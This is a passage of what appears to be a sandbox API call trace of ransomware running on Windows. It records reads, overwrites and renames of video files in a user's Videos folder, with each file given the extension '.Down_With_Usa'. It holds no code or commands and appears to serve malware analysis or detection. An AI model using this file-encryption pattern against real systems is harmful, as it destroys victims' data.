[0123.597] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\fml-xdfi9v3serlu.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv", lpFilePart=0x0) returned 0x56
[0123.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv.Down_With_Usa", lpFilePart=0x0) returned 0x64
[0123.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.601] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\fml-xdfi9v3serlu.mkv"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73f3210, ftCreationTime.dwHighDateTime=0x1d5dd4a, ftLastAccessTime.dwLowDateTime=0x66f87110, ftLastAccessTime.dwHighDateTime=0x1d5db67, ftLastWriteTime.dwLowDateTime=0x26208de0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0)) returned 1
[0123.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.602] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\fml-xdfi9v3serlu.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\FML-XDFI9V3SErlu.mkv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\fml-xdfi9v3serlu.mkv.down_with_usa")) returned 1
[0123.603] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv", lpFilePart=0x0) returned 0x4a
[0123.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.603] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\ktf9.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.603] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x1332b
[0123.603] ReadFile (in: hFile=0x3a8, lpBuffer=0x2739920, nNumberOfBytesToRead=0x1332b, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2739920*, lpNumberOfBytesRead=0x2eb358*=0x1332b, lpOverlapped=0x0) returned 1
[0123.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv", lpFilePart=0x0) returned 0x4a
[0123.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\ktf9.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv", lpFilePart=0x0) returned 0x4a
[0123.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv.Down_With_Usa", lpFilePart=0x0) returned 0x58
[0123.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\ktf9.mkv"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc8fe0, ftCreationTime.dwHighDateTime=0x1d5e00d, ftLastAccessTime.dwLowDateTime=0xfcb32d70, ftLastAccessTime.dwHighDateTime=0x1d5e590, ftLastWriteTime.dwLowDateTime=0x262a1360, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x13330)) returned 1
[0123.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.665] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\ktf9.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\KTF9.mkv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\ktf9.mkv.down_with_usa")) returned 1
[0123.666] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv", lpFilePart=0x0) returned 0x58
[0123.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\m728cas-zdaendzbe4.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.667] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xd960
[0123.667] ReadFile (in: hFile=0x3a8, lpBuffer=0x26855d8, nNumberOfBytesToRead=0xd960, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26855d8*, lpNumberOfBytesRead=0x2eb358*=0xd960, lpOverlapped=0x0) returned 1
[0123.696] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv", lpFilePart=0x0) returned 0x58
[0123.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\m728cas-zdaendzbe4.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv", lpFilePart=0x0) returned 0x58
[0123.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv.Down_With_Usa", lpFilePart=0x0) returned 0x66
[0123.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\m728cas-zdaendzbe4.flv"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9451490, ftCreationTime.dwHighDateTime=0x1d5da87, ftLastAccessTime.dwLowDateTime=0xeef050, ftLastAccessTime.dwHighDateTime=0x1d5dd57, ftLastWriteTime.dwLowDateTime=0x2635fa40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xd970)) returned 1
[0123.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.736] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\m728cas-zdaendzbe4.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\m728cAs-ZDAeNdzBe4.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\m728cas-zdaendzbe4.flv.down_with_usa")) returned 1
[0123.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi", lpFilePart=0x0) returned 0x55
[0123.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\patizwab5k5no9_.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.737] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xfabc
[0123.737] ReadFile (in: hFile=0x3a8, lpBuffer=0x27a7b70, nNumberOfBytesToRead=0xfabc, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x27a7b70*, lpNumberOfBytesRead=0x2eb358*=0xfabc, lpOverlapped=0x0) returned 1
[0123.771] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi", lpFilePart=0x0) returned 0x55
[0123.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\patizwab5k5no9_.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.777] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi", lpFilePart=0x0) returned 0x55
[0123.777] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi.Down_With_Usa", lpFilePart=0x0) returned 0x63
[0123.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\patizwab5k5no9_.avi"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe49cef0, ftCreationTime.dwHighDateTime=0x1d5e437, ftLastAccessTime.dwLowDateTime=0x5ab8e920, ftLastAccessTime.dwHighDateTime=0x1d5e30f, ftLastWriteTime.dwLowDateTime=0x263abd00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xfac0)) returned 1
[0123.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.778] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\patizwab5k5no9_.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\PATiZwaB5K5NO9_.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\patizwab5k5no9_.avi.down_with_usa")) returned 1
[0123.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf", lpFilePart=0x0) returned 0x52
[0123.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\stkrbgprdz2m.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.781] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x11a0d
[0123.781] ReadFile (in: hFile=0x3a8, lpBuffer=0x26cea90, nNumberOfBytesToRead=0x11a0d, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26cea90*, lpNumberOfBytesRead=0x2eb358*=0x11a0d, lpOverlapped=0x0) returned 1
[0123.811] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf", lpFilePart=0x0) returned 0x52
[0123.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\stkrbgprdz2m.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf", lpFilePart=0x0) returned 0x52
[0123.818] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf.Down_With_Usa", lpFilePart=0x0) returned 0x60
[0123.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0123.819] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\stkrbgprdz2m.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8b1deb0, ftCreationTime.dwHighDateTime=0x1d5e14b, ftLastAccessTime.dwLowDateTime=0xba646ef0, ftLastAccessTime.dwHighDateTime=0x1d5d921, ftLastWriteTime.dwLowDateTime=0x2641e120, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11a10)) returned 1
[0123.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0123.819] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\stkrbgprdz2m.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\STKRBgPrDZ2m.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\stkrbgprdz2m.swf.down_with_usa")) returned 1
[0123.820] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf", lpFilePart=0x0) returned 0x51
[0123.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0123.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\tz9ljhsc9gy.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0123.820] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xbecd
[0123.821] ReadFile (in: hFile=0x3a8, lpBuffer=0x2801248, nNumberOfBytesToRead=0xbecd, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2801248*, lpNumberOfBytesRead=0x2eb358*=0xbecd, lpOverlapped=0x0) returned 1
[0123.859] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf", lpFilePart=0x0) returned 0x51
[0123.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0123.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\8rebeh9\\tz9ljhsc9gy.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0123.865] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\TZ9Ljhsc9gy.swf", lpFilePart=0x0) returned 0x51
